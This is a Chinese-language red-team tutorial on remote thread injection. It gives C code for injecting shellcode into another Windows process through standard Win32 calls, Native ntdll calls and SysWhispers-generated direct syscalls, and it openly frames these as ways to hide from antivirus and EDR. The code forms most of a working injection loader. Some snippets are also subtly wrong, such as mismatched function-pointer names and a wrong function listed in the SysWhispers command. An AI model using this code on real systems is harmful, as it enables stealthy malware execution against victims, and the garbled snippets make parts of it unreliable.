一文讀懂遠程線程注入

在紅隊行動中,紅隊的目的都是要在不暴露自身行動的前提下,向藍隊發動攻擊。他們使用各種技術和程序來隱藏C2連接和數據流。攻擊活動的第一步是獲得初始訪問權。他們會使用定製的惡意軟件和有效載荷來躲避防殺軟和EDR等防禦工具。

本文涉及知識點實操練習:DLL注入型病毒實驗(通過實驗瞭解DLL注入型病毒的攻擊過程)

進程注入是用來逃避防禦機制的重要技術之一。遠程線程注入是其中的一種簡單可靠的技術,它的工作原理是將shellcode注入到另一個合法的進程中,併爲該進程創建一個線程來運行payload。

runshellcode.png

我們通常會使用標準的Windows API、Native API和直接syscalls來實現遠程線程注入,這些實現方式都有各自的優缺點,下圖展示了標準的windows API、Native API和直接syscalls在windows架構中的工作原理。

yaunli.png

標準的windows API

優點:易於使用

缺點:可被大多數AV/EDR檢測到

我們首先測試使用標準的Windows API,因爲它比其他兩種方式更簡單。首先,我們需要找到我們的目標進程ID。我們需要創建一個名爲find_process的函數,它可以得到一個進程名。它使用CreateToolhelp32Snapshot API得到當前進程列表,並使用Process32First和Process32Next逐一查看,並將進程名與我們的目標進程進行比較。使用Process32First和Process32Next API會得到一個指向PROCESSENTRY32結構的指針,這個結構可以保存進程的信息,比如它的名字和id。如果它成功地找到了進程,就會返回它的進程ID。

DWORD find_process(char *process_name){

    PROCESSENTRY32 process_entry;
    process_entry.dwSize = sizeof(PROCESSENTRY32);

    //get the list of processes
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    //check processes to find TARGET_PROCESS_NAME
    if (Process32First(snapshot, &process_entry) == TRUE){
        
            while (Process32Next(snapshot, &process_entry) == TRUE){
                if (stricmp(process_entry.szExeFile, process_name) == 0){  
                    CloseHandle(snapshot);
                    return process_entry.th32ProcessID;
                }
            }
        }

    CloseHandle(snapshot);
    return 0;
}


下一步,我們需要使用OpenProcess 函數打開目標進程。我們可以傳遞我們的參數,包括從上一步得到的目標進程id,它將返回該進程的句柄。

HANDLE target_process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_process_id);


現在我們需要使用VirtualAllocEx函數在目標進程中爲我們的shellcode分配空間,我們應該給這個空間分配PAGE_EXECUTE_READWRITE(讀、寫、執行)權限,這個函數返回分配區域的首地址。

LPVOID remote_process_buffer = VirtualAllocEx(target_process_handle, NULL, sizeof(buf), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);


現在我們應該使用WriteProcessMemory函數將我們的shellcode寫入分配的內存區域。

WriteProcessMemory(target_process_handle, remote_process_buffer, buf, sizeof(buf), NULL);


這時候可以在目標進程中創建一個線程,並運行我們之前寫到內存頁中的shellcode.我們可以使用CreateRemoteThread函數.還應該傳遞0作爲dwCreationFlags參數,表示在創建後立即運行線程。

CreateRemoteThread(target_process_handle, NULL, 0,(LPTHREAD_START_ROUTINE) remote_process_buffer,NULL,0, NULL);


爲了能在kali中編譯代碼,我們需要使用MinGW編譯器。

x86_64-w64-mingw32-gcc main.c -o rti.exe


我們將輸出的文件發送到我們的windows機器上運行它。如果我們打開process hacker並查看notepad.exe進程,在內存部分有一個很可疑的具有RWX權限的內存頁,如果我們打開它,就可以看到裏面的shellcode。

memory_hacker.png

Native API

優點:能夠繞過一些AV/EDR

缺點:

  • 很難使用
  • 仍可能被大多數AV/EDR檢測到。
  • 無法在所有版本的Windows上運行

爲了方便與操作系統進行交互,程序員一般使用微軟推薦的標準API(Win 32 API)。標準Windows APIs是在Native APIs的基礎上包裝產生的。Native APIs 或 Undocumented APIs 都可以在 ntdll.dll 庫中找到。微軟不推薦使用這些API。你可以查看第二張圖,可以很清楚看到這些API是如何工作的。native API也使用syscalls與os內核交互,微軟使用這種架構是因爲它可以在不影響標準API的情況下改變操作系統內核。

Native API也被稱爲無文檔API,因爲你通常找不到它們的官方文檔。我們主要是通過查看其他人的代碼或者別人總結的非官方文檔,來查看它們的使用方法。

在上一節中,我們使用了標準的API來完成我們的工作,這裏我們再深入一層,嘗試使用原生API。首先,我們需要將ntdll.dll加載到我們的惡意軟件進程中.然後我們需要定義與我們要使用的原始函數格式完全相同的函數指針,並使用這些函數的基地址來初始化這些指針.

我們可以使用LoadLibraryW函數,動態加載ntdll.dll或任何其他dll到我們的運行進程中,同時它會返回該庫的一個句柄。

HMODULE hNtdll = LoadLibraryW(L"ntdll");


然後我們定義函數指針類型,並使用GetProcAddress函數獲取函數的基地址,並將其賦值給指針,以下是NtOpenProcess的使用例子。

typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientID);
pNtOpenProcess NtOpenProcess = (pNtOpenProcess)GetProcAddress(hNtdll, "NtOpenProcess");


我們用與NtOpenProcess函數相同的參數定義了我們的函數類型。對於NtWriteVirtualMemory , NtAllocateVirtualMemory , NtCreateThreadEx函數都要這樣做。

NtOpenProcess

和上一節一樣,我們從打開目標進程開始做,但這次使用的是NtOpenProcess函數。這個函數並不返回目標進程的Handle,我們需要傳遞一個句柄指針作爲第一個參數。

#define InitializeObjectAttributes(p,n,a,r,s) { \
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = (r); \
(p)->Attributes = (a); \
(p)->ObjectName = (n); \
(p)->SecurityDescriptor = (s); \
(p)->SecurityQualityOfService = NULL; \
}

typedef struct _CLIENT_ID
{
    PVOID UniqueProcess;
    PVOID UniqueThread;
} CLIENT_ID, *PCLIENT_ID;

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;


typedef struct _OBJECT_ATTRIBUTES {
    ULONG           Length;
    HANDLE          RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG           Attributes;
    PVOID           SecurityDescriptor;
    PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES ;


OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, NULL,0,NULL,NULL);
CLIENT_ID ci = { (HANDLE)procid, NULL };


現在我們可以使用 NtOpenProcess函數

NtOpenProcess(&target_process_handle,PROCESS_ALL_ACCESS, &oa, &ci);


NtAllocateVirtualMemory

我們使用NtAllocateVirtualMemory函數在目標進程中分配內存,我們定義該函數的原型。

typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect)


然後我們得到函數的基地址。

pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory")


我們把這個地址稱爲 "NtWriteVirtualMemory"

NtAllocateVirtualMemory(target_process_handle, &remote_process_buffer, 0,&buf_len ,MEM_COMMIT, PAGE_EXECUTE_READWRITE)


我們傳遞了一個名爲remote_process_buffer的指針,它代表的是所分配空間的基地址。

NtWriteVirtualMemory

像之前的步驟一樣,先定義NtWriteVirtualMemory函數原型,我們應該將我們的shellcode,shellcode的長度,以及分配空間的基地址作爲參數進行傳遞

typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten OPTIONAL);
pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
NtWriteVirtualMemory(target_process_handle, remote_process_buffer, buf, buf_len, NULL);


NtCreateThreadEx

現在我們可以在目標進程中創建一個線程並運行我們的shellcode了。我們使用NtCreateThreadEx在目標進程中創建一個遠程線程並運行我們的shellcode。

NtCreateThreadEx(&thread_handle, 0x1FFFFF, NULL, target_process_handle, (LPTHREAD_START_ROUTINE)remote_process_buffer,NULL, FALSE, NULL, NULL, NULL, NULL)


Direct Syscalls

優點:用戶系統中所有的API監控工具都無法檢測到。

缺點:

  • 可能無法在所有版本的Windows上運行
  • 很難使用

在前面的步驟中,任何API監控程序和EDRs都可以檢測到我們的API調用,阻止我們的攻擊。現在,如果我們直接使用syscalls,用戶系統就沒有任何工具可以檢測到API的調用。

syscalls的一個嚴重缺點就是他的運行對於操作系統的版本的依賴程度很高,我們的代碼可能無法在不同的windows版本上運行。然而,通過使用像SysWhisper 這樣的工具,我們就可以讓軟件在不同版本的windows系統上運行。運行下面的命令就可以在我們的windows 10系統上生成相應的文件。

syswhispers.py --function NtCreateProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscall --versions 10


這個命令會生成兩個文件syscall.asm和syscall.h,我們需要將它們添加到visual studio項目中。然後我們應該在項目中啓用MASM,並將頭文件包含在我們的主代碼中。這裏可以像Native API一樣調用函數,但這裏我們不需要加載ntdll.dll,獲取函數的基地址,和定義函數原型。我覺得SysWhisper讓利用syscalls變得非常簡單了。

文章至此,也該告一段落了,文中涉及更多的是winows底層的知識,主要講解了三種常見的方法,希望在寫文章的同時,能給各位師傅帶來一點點的啓發和靈感。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章